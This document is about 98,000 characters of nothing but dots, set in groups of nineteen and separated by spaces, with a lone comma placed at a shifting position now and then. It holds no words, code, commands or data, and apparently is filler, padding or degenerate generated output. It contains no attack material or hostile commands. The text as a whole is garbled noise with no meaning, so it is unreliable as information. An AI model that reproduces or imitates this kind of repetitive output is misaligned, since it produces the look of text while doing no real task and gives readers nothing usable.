................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...............,... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..,................ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ........,.......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..............,.... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ......,............ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ............,...... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...............,... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..,................ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ........,.......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..............,.... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .,................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .......,........... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .............,..... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ,.................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ......,............ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ............,...... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...............,... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..,................ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ........,.......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..............,.... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .,................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .............,..... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ,.................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ......,............ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ............,...... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...............,... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..,................ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ........,.......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..............,.... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .,................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .......,........... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .............,..... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ,.................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ......,............ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ............,...... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...............,... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..,................ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ........,.......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...............,... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..,................ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ........,.......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..............,.... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .,................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .......,........... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .............,..... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ,.................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ......,............ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ............,...... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... 